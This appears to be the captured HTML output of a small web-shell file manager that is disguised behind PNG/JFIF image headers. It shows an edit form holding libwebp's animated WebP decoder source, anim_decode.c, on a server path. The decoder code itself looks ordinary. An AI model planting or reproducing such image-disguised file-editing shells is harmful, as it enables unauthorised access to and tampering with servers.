�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Flibwebp%2F'>libwebp</a>/<a href='?path=%2Fbig%2FSRC%2Flibwebp%2Fsrc%2F'>src</a>/<a href='?path=%2Fbig%2FSRC%2Flibwebp%2Fsrc%2Fdemux%2F'>demux</a>/</p><hr><h3>✏️ Editing: anim_decode.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>// Copyright 2015 Google Inc. All Rights Reserved.
//
// Use of this source code is governed by a BSD-style license
// that can be found in the COPYING file in the root of the source
// tree. An additional intellectual property rights grant can be found
// in the file PATENTS. All contributing project authors may
// be found in the AUTHORS file in the root of the source tree.
// -----------------------------------------------------------------------------
//
//  AnimDecoder implementation.
//

#ifdef HAVE_CONFIG_H
#include &quot;src/webp/config.h&quot;
#endif

#include &lt;assert.h&gt;
#include &lt;string.h&gt;

#include &quot;src/utils/utils.h&quot;
#include &quot;src/webp/decode.h&quot;
#include &quot;src/webp/demux.h&quot;
#include &quot;src/webp/mux.h&quot;
#include &quot;src/webp/mux_types.h&quot;
#include &quot;src/webp/types.h&quot;

WEBP_ASSUME_UNSAFE_INDEXABLE_ABI

#define NUM_CHANNELS 4

// Channel extraction from a uint32_t representation of a uint8_t RGBA/BGRA
// buffer.
#ifdef WORDS_BIGENDIAN
#define CHANNEL_SHIFT(i) (24 - (i) * 8)
#else
#define CHANNEL_SHIFT(i) ((i) * 8)
#endif

typedef void (*BlendRowFunc)(uint32_t* const, const uint32_t* const, int);
static void BlendPixelRowNonPremult(uint32_t* const src,
                                    const uint32_t* const dst, int num_pixels);
static void BlendPixelRowPremult(uint32_t* const src, const uint32_t* const dst,
                                 int num_pixels);

struct WebPAnimDecoder {
  WebPDemuxer* demux;        // Demuxer created from given WebP bitstream.
  WebPDecoderConfig config;  // Decoder config.
  // Note: we use a pointer to a function blending multiple pixels at a time to
  // allow possible inlining of per-pixel blending function.
  BlendRowFunc blend_func;       // Pointer to the chose blend row function.
  WebPAnimInfo info;             // Global info about the animation.
  uint8_t* curr_frame;           // Current canvas (not disposed).
  uint8_t* prev_frame_disposed;  // Previous canvas (properly disposed).
  int prev_frame_timestamp;      // Previous frame timestamp (milliseconds).
  WebPIterator prev_iter;        // Iterator object for previous frame.
  int prev_frame_was_keyframe;   // True if previous frame was a keyframe.
  int next_frame;                // Index of the next frame to be decoded
                                 // (starting from 1).
};

static void DefaultDecoderOptions(WebPAnimDecoderOptions* const dec_options) {
  dec_options-&gt;color_mode = MODE_RGBA;
  dec_options-&gt;use_threads = 0;
}

int WebPAnimDecoderOptionsInitInternal(WebPAnimDecoderOptions* dec_options,
                                       int abi_version) {
  if (dec_options == NULL ||
      WEBP_ABI_IS_INCOMPATIBLE(abi_version, WEBP_DEMUX_ABI_VERSION)) {
    return 0;
  }
  DefaultDecoderOptions(dec_options);
  return 1;
}

WEBP_NODISCARD static int ApplyDecoderOptions(
    const WebPAnimDecoderOptions* const dec_options,
    WebPAnimDecoder* const dec) {
  WEBP_CSP_MODE mode;
  WebPDecoderConfig* config = &amp;dec-&gt;config;
  assert(dec_options != NULL);

  mode = dec_options-&gt;color_mode;
  if (mode != MODE_RGBA &amp;&amp; mode != MODE_BGRA &amp;&amp; mode != MODE_rgbA &amp;&amp;
      mode != MODE_bgrA) {
    return 0;
  }
  dec-&gt;blend_func = (mode == MODE_RGBA || mode == MODE_BGRA)
                        ? &amp;BlendPixelRowNonPremult
                        : &amp;BlendPixelRowPremult;
  if (!WebPInitDecoderConfig(config)) {
    return 0;
  }
  config-&gt;output.colorspace = mode;
  config-&gt;output.is_external_memory = 1;
  config-&gt;options.use_threads = dec_options-&gt;use_threads;
  // Note: config-&gt;output.u.RGBA is set at the time of decoding each frame.
  return 1;
}

WebPAnimDecoder* WebPAnimDecoderNewInternal(
    const WebPData* webp_data, const WebPAnimDecoderOptions* dec_options,
    int abi_version) {
  WebPAnimDecoderOptions options;
  WebPAnimDecoder* dec = NULL;
  WebPBitstreamFeatures features;
  if (webp_data == NULL ||
      WEBP_ABI_IS_INCOMPATIBLE(abi_version, WEBP_DEMUX_ABI_VERSION)) {
    return NULL;
  }

  // Validate the bitstream before doing expensive allocations. The demuxer may
  // be more tolerant than the decoder.
  if (WebPGetFeatures(webp_data-&gt;bytes, webp_data-&gt;size, &amp;features) !=
      VP8_STATUS_OK) {
    return NULL;
  }

  // Note: calloc() so that the pointer members are initialized to NULL.
  dec = (WebPAnimDecoder*)WebPSafeCalloc(1ULL, sizeof(*dec));
  if (dec == NULL) goto Error;

  if (dec_options != NULL) {
    options = *dec_options;
  } else {
    DefaultDecoderOptions(&amp;options);
  }
  if (!ApplyDecoderOptions(&amp;options, dec)) goto Error;

  dec-&gt;demux = WebPDemux(webp_data);
  if (dec-&gt;demux == NULL) goto Error;

  dec-&gt;info.canvas_width = WebPDemuxGetI(dec-&gt;demux, WEBP_FF_CANVAS_WIDTH);
  dec-&gt;info.canvas_height = WebPDemuxGetI(dec-&gt;demux, WEBP_FF_CANVAS_HEIGHT);
  dec-&gt;info.loop_count = WebPDemuxGetI(dec-&gt;demux, WEBP_FF_LOOP_COUNT);
  dec-&gt;info.bgcolor = WebPDemuxGetI(dec-&gt;demux, WEBP_FF_BACKGROUND_COLOR);
  dec-&gt;info.frame_count = WebPDemuxGetI(dec-&gt;demux, WEBP_FF_FRAME_COUNT);

  // Note: calloc() because we fill frame with zeroes as well.
  dec-&gt;curr_frame = (uint8_t*)WebPSafeCalloc(
      dec-&gt;info.canvas_width * NUM_CHANNELS, dec-&gt;info.canvas_height);
  if (dec-&gt;curr_frame == NULL) goto Error;
  dec-&gt;prev_frame_disposed = (uint8_t*)WebPSafeCalloc(
      dec-&gt;info.canvas_width * NUM_CHANNELS, dec-&gt;info.canvas_height);
  if (dec-&gt;prev_frame_disposed == NULL) goto Error;

  WebPAnimDecoderReset(dec);
  return dec;

Error:
  WebPAnimDecoderDelete(dec);
  return NULL;
}

int WebPAnimDecoderGetInfo(const WebPAnimDecoder* dec, WebPAnimInfo* info) {
  if (dec == NULL || info == NULL) return 0;
  *info = dec-&gt;info;
  return 1;
}

// Returns true if the frame covers the full canvas.
static int IsFullFrame(int width, int height, int canvas_width,
                       int canvas_height) {
  return (width == canvas_width &amp;&amp; height == canvas_height);
}

// Clear the canvas to transparent.
WEBP_NODISCARD static int ZeroFillCanvas(uint8_t* buf, uint32_t canvas_width,
                                         uint32_t canvas_height) {
  const uint64_t size =
      (uint64_t)canvas_width * canvas_height * NUM_CHANNELS * sizeof(*buf);
  if (!CheckSizeOverflow(size)) return 0;
  WEBP_UNSAFE_MEMSET(buf, 0, (size_t)size);
  return 1;
}

// Clear given frame rectangle to transparent.
static void ZeroFillFrameRect(uint8_t* buf, int buf_stride, int x_offset,
                              int y_offset, int width, int height) {
  int j;
  const uint32_t x = (uint32_t)x_offset * NUM_CHANNELS;  // 26 bits
  const uint64_t y = (uint64_t)y_offset * buf_stride;
  assert(width * NUM_CHANNELS &lt;= buf_stride);
  buf += y + x;
  for (j = 0; j &lt; height; ++j) {
    WEBP_UNSAFE_MEMSET(buf, 0, width * NUM_CHANNELS);
    buf += buf_stride;
  }
}

// Copy width * height pixels from &#039;src&#039; to &#039;dst&#039;.
WEBP_NODISCARD static int CopyCanvas(const uint8_t* src, uint8_t* dst,
                                     uint32_t width, uint32_t height) {
  const uint64_t size = (uint64_t)width * height * NUM_CHANNELS;
  if (!CheckSizeOverflow(size)) return 0;
  assert(src != NULL &amp;&amp; dst != NULL);
  WEBP_UNSAFE_MEMCPY(dst, src, (size_t)size);
  return 1;
}

// Returns true if the current frame is a key-frame.
static int IsKeyFrame(const WebPIterator* const curr,
                      const WebPIterator* const prev,
                      int prev_frame_was_key_frame, int canvas_width,
                      int canvas_height) {
  if (curr-&gt;frame_num == 1) {
    return 1;
  } else if ((!curr-&gt;has_alpha || curr-&gt;blend_method == WEBP_MUX_NO_BLEND) &amp;&amp;
             IsFullFrame(curr-&gt;width, curr-&gt;height, canvas_width,
                         canvas_height)) {
    return 1;
  } else {
    return (prev-&gt;dispose_method == WEBP_MUX_DISPOSE_BACKGROUND) &amp;&amp;
           (IsFullFrame(prev-&gt;width, prev-&gt;height, canvas_width,
                        canvas_height) ||
            prev_frame_was_key_frame);
  }
}

// Blend a single channel of &#039;src&#039; over &#039;dst&#039;, given their alpha channel values.
// &#039;src&#039; and &#039;dst&#039; are assumed to be NOT pre-multiplied by alpha.
static uint8_t BlendChannelNonPremult(uint32_t src, uint8_t src_a, uint32_t dst,
                                      uint8_t dst_a, uint32_t scale,
                                      int shift) {
  const uint8_t src_channel = (src &gt;&gt; shift) &amp; 0xff;
  const uint8_t dst_channel = (dst &gt;&gt; shift) &amp; 0xff;
  const uint32_t blend_unscaled = src_channel * src_a + dst_channel * dst_a;
  assert(blend_unscaled &lt; (1ULL &lt;&lt; 32) / scale);
  return (blend_unscaled * scale) &gt;&gt; CHANNEL_SHIFT(3);
}

// Blend &#039;src&#039; over &#039;dst&#039; assuming they are NOT pre-multiplied by alpha.
static uint32_t BlendPixelNonPremult(uint32_t src, uint32_t dst) {
  const uint8_t src_a = (src &gt;&gt; CHANNEL_SHIFT(3)) &amp; 0xff;

  if (src_a == 0) {
    return dst;
  } else {
    const uint8_t dst_a = (dst &gt;&gt; CHANNEL_SHIFT(3)) &amp; 0xff;
    // This is the approximate integer arithmetic for the actual formula:
    // dst_factor_a = (dst_a * (255 - src_a)) / 255.
    const uint8_t dst_factor_a = (dst_a * (256 - src_a)) &gt;&gt; 8;
    const uint8_t blend_a = src_a + dst_factor_a;
    const uint32_t scale = (1UL &lt;&lt; 24) / blend_a;

    const uint8_t blend_r = BlendChannelNonPremult(
        src, src_a, dst, dst_factor_a, scale, CHANNEL_SHIFT(0));
    const uint8_t blend_g = BlendChannelNonPremult(
        src, src_a, dst, dst_factor_a, scale, CHANNEL_SHIFT(1));
    const uint8_t blend_b = BlendChannelNonPremult(
        src, src_a, dst, dst_factor_a, scale, CHANNEL_SHIFT(2));
    assert(src_a + dst_factor_a &lt; 256);

    return ((uint32_t)blend_r &lt;&lt; CHANNEL_SHIFT(0)) |
           ((uint32_t)blend_g &lt;&lt; CHANNEL_SHIFT(1)) |
           ((uint32_t)blend_b &lt;&lt; CHANNEL_SHIFT(2)) |
           ((uint32_t)blend_a &lt;&lt; CHANNEL_SHIFT(3));
  }
}

// Blend &#039;num_pixels&#039; in &#039;src&#039; over &#039;dst&#039; assuming they are NOT pre-multiplied
// by alpha.
static void BlendPixelRowNonPremult(uint32_t* const src,
                                    const uint32_t* const dst, int num_pixels) {
  int i;
  for (i = 0; i &lt; num_pixels; ++i) {
    const uint8_t src_alpha = (src[i] &gt;&gt; CHANNEL_SHIFT(3)) &amp; 0xff;
    if (src_alpha != 0xff) {
      src[i] = BlendPixelNonPremult(src[i], dst[i]);
    }
  }
}

// Individually multiply each channel in &#039;pix&#039; by &#039;scale&#039;.
static WEBP_INLINE uint32_t ChannelwiseMultiply(uint32_t pix, uint32_t scale) {
  uint32_t mask = 0x00FF00FF;
  uint32_t rb = ((pix &amp; mask) * scale) &gt;&gt; 8;
  uint32_t ag = ((pix &gt;&gt; 8) &amp; mask) * scale;
  return (rb &amp; mask) | (ag &amp; ~mask);
}

// Blend &#039;src&#039; over &#039;dst&#039; assuming they are pre-multiplied by alpha.
static uint32_t BlendPixelPremult(uint32_t src, uint32_t dst) {
  const uint8_t src_a = (src &gt;&gt; CHANNEL_SHIFT(3)) &amp; 0xff;
  return src + ChannelwiseMultiply(dst, 256 - src_a);
}

// Blend &#039;num_pixels&#039; in &#039;src&#039; over &#039;dst&#039; assuming they are pre-multiplied by
// alpha.
static void BlendPixelRowPremult(uint32_t* const src, const uint32_t* const dst,
                                 int num_pixels) {
  int i;
  for (i = 0; i &lt; num_pixels; ++i) {
    const uint8_t src_alpha = (src[i] &gt;&gt; CHANNEL_SHIFT(3)) &amp; 0xff;
    if (src_alpha != 0xff) {
      src[i] = BlendPixelPremult(src[i], dst[i]);
    }
  }
}

// Returns two ranges (&lt;left, width&gt; pairs) at row &#039;canvas_y&#039;, that belong to
// &#039;src&#039; but not &#039;dst&#039;. A point range is empty if the corresponding width is 0.
static void FindBlendRangeAtRow(const WebPIterator* const src,
                                const WebPIterator* const dst, int canvas_y,
                                int* const left1, int* const width1,
                                int* const left2, int* const width2) {
  const int src_max_x = src-&gt;x_offset + src-&gt;width;
  const int dst_max_x = dst-&gt;x_offset + dst-&gt;width;
  const int dst_max_y = dst-&gt;y_offset + dst-&gt;height;
  assert(canvas_y &gt;= src-&gt;y_offset &amp;&amp; canvas_y &lt; (src-&gt;y_offset + src-&gt;height));
  *left1 = -1;
  *width1 = 0;
  *left2 = -1;
  *width2 = 0;

  if (canvas_y &lt; dst-&gt;y_offset || canvas_y &gt;= dst_max_y ||
      src-&gt;x_offset &gt;= dst_max_x || src_max_x &lt;= dst-&gt;x_offset) {
    *left1 = src-&gt;x_offset;
    *width1 = src-&gt;width;
    return;
  }

  if (src-&gt;x_offset &lt; dst-&gt;x_offset) {
    *left1 = src-&gt;x_offset;
    *width1 = dst-&gt;x_offset - src-&gt;x_offset;
  }

  if (src_max_x &gt; dst_max_x) {
    *left2 = dst_max_x;
    *width2 = src_max_x - dst_max_x;
  }
}

int WebPAnimDecoderGetNext(WebPAnimDecoder* dec, uint8_t** buf_ptr,
                           int* timestamp_ptr) {
  WebPIterator iter;
  uint32_t width;
  uint32_t height;
  int is_key_frame;
  int timestamp;
  BlendRowFunc blend_row;

  if (dec == NULL || buf_ptr == NULL || timestamp_ptr == NULL) return 0;
  if (!WebPAnimDecoderHasMoreFrames(dec)) return 0;

  width = dec-&gt;info.canvas_width;
  height = dec-&gt;info.canvas_height;
  blend_row = dec-&gt;blend_func;

  // Get compressed frame.
  if (!WebPDemuxGetFrame(dec-&gt;demux, dec-&gt;next_frame, &amp;iter)) {
    return 0;
  }
  timestamp = dec-&gt;prev_frame_timestamp + iter.duration;

  // Initialize.
  is_key_frame = IsKeyFrame(&amp;iter, &amp;dec-&gt;prev_iter,
                            dec-&gt;prev_frame_was_keyframe, width, height);
  if (is_key_frame) {
    if (!ZeroFillCanvas(dec-&gt;curr_frame, width, height)) {
      goto Error;
    }
  } else {
    if (!CopyCanvas(dec-&gt;prev_frame_disposed, dec-&gt;curr_frame, width, height)) {
      goto Error;
    }
  }

  // Decode.
  {
    const uint8_t* in = iter.fragment.bytes;
    const size_t in_size = iter.fragment.size;
    const uint32_t stride = width * NUM_CHANNELS;  // at most 25 + 2 bits
    const uint64_t out_offset = (uint64_t)iter.y_offset * stride +
                                (uint64_t)iter.x_offset * NUM_CHANNELS;  // 53b
    const uint64_t size = (uint64_t)iter.height * stride;  // at most 25 + 27b
    WebPDecoderConfig* const config = &amp;dec-&gt;config;
    WebPRGBABuffer* const buf = &amp;config-&gt;output.u.RGBA;
    if ((size_t)size != size) goto Error;
    buf-&gt;stride = (int)stride;
    buf-&gt;size = (size_t)size;
    buf-&gt;rgba = dec-&gt;curr_frame + out_offset;

    if (WebPDecode(in, in_size, config) != VP8_STATUS_OK) {
      goto Error;
    }
  }

  // During the decoding of current frame, we may have set some pixels to be
  // transparent (i.e. alpha &lt; 255). However, the value of each of these
  // pixels should have been determined by blending it against the value of
  // that pixel in the previous frame if blending method of is WEBP_MUX_BLEND.
  if (iter.frame_num &gt; 1 &amp;&amp; iter.blend_method == WEBP_MUX_BLEND &amp;&amp;
      !is_key_frame) {
    if (dec-&gt;prev_iter.dispose_method == WEBP_MUX_DISPOSE_NONE) {
      int y;
      // Blend transparent pixels with pixels in previous canvas.
      for (y = 0; y &lt; iter.height; ++y) {
        const size_t offset = (iter.y_offset + y) * width + iter.x_offset;
        blend_row((uint32_t*)dec-&gt;curr_frame + offset,
                  (uint32_t*)dec-&gt;prev_frame_disposed + offset, iter.width);
      }
    } else {
      int y;
      assert(dec-&gt;prev_iter.dispose_method == WEBP_MUX_DISPOSE_BACKGROUND);
      // We need to blend a transparent pixel with its value just after
      // initialization. That is, blend it with:
      // * Fully transparent pixel if it belongs to prevRect &lt;-- No-op.
      // * The pixel in the previous canvas otherwise &lt;-- Need alpha-blending.
      for (y = 0; y &lt; iter.height; ++y) {
        const int canvas_y = iter.y_offset + y;
        int left1, width1, left2, width2;
        FindBlendRangeAtRow(&amp;iter, &amp;dec-&gt;prev_iter, canvas_y, &amp;left1, &amp;width1,
                            &amp;left2, &amp;width2);
        if (width1 &gt; 0) {
          const size_t offset1 = canvas_y * width + left1;
          blend_row((uint32_t*)dec-&gt;curr_frame + offset1,
                    (uint32_t*)dec-&gt;prev_frame_disposed + offset1, width1);
        }
        if (width2 &gt; 0) {
          const size_t offset2 = canvas_y * width + left2;
          blend_row((uint32_t*)dec-&gt;curr_frame + offset2,
                    (uint32_t*)dec-&gt;prev_frame_disposed + offset2, width2);
        }
      }
    }
  }

  // Update info of the previous frame and dispose it for the next iteration.
  dec-&gt;prev_frame_timestamp = timestamp;
  WebPDemuxReleaseIterator(&amp;dec-&gt;prev_iter);
  dec-&gt;prev_iter = iter;
  dec-&gt;prev_frame_was_keyframe = is_key_frame;
  if (!CopyCanvas(dec-&gt;curr_frame, dec-&gt;prev_frame_disposed, width, height)) {
    goto Error;
  }
  if (dec-&gt;prev_iter.dispose_method == WEBP_MUX_DISPOSE_BACKGROUND) {
    ZeroFillFrameRect(dec-&gt;prev_frame_disposed, width * NUM_CHANNELS,
                      dec-&gt;prev_iter.x_offset, dec-&gt;prev_iter.y_offset,
                      dec-&gt;prev_iter.width, dec-&gt;prev_iter.height);
  }
  ++dec-&gt;next_frame;

  // All OK, fill in the values.
  *buf_ptr = dec-&gt;curr_frame;
  *timestamp_ptr = timestamp;
  return 1;

Error:
  WebPDemuxReleaseIterator(&amp;iter);
  return 0;
}

int WebPAnimDecoderHasMoreFrames(const WebPAnimDecoder* dec) {
  if (dec == NULL) return 0;
  return (dec-&gt;next_frame &lt;= (int)dec-&gt;info.frame_count);
}

void WebPAnimDecoderReset(WebPAnimDecoder* dec) {
  if (dec != NULL) {
    dec-&gt;prev_frame_timestamp = 0;
    WebPDemuxReleaseIterator(&amp;dec-&gt;prev_iter);
    WEBP_UNSAFE_MEMSET(&amp;dec-&gt;prev_iter, 0, sizeof(dec-&gt;prev_iter));
    dec-&gt;prev_frame_was_keyframe = 0;
    dec-&gt;next_frame = 1;
  }
}

const WebPDemuxer* WebPAnimDecoderGetDemuxer(const WebPAnimDecoder* dec) {
  if (dec == NULL) return NULL;
  return dec-&gt;demux;
}

void WebPAnimDecoderDelete(WebPAnimDecoder* dec) {
  if (dec != NULL) {
    WebPDemuxReleaseIterator(&amp;dec-&gt;prev_iter);
    WebPDemuxDelete(dec-&gt;demux);
    WebPSafeFree(dec-&gt;curr_frame);
    WebPSafeFree(dec-&gt;prev_frame_disposed);
    WebPSafeFree(dec);
  }
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Flibwebp%2Fsrc%2Fdemux'>🔙 Back</a></p>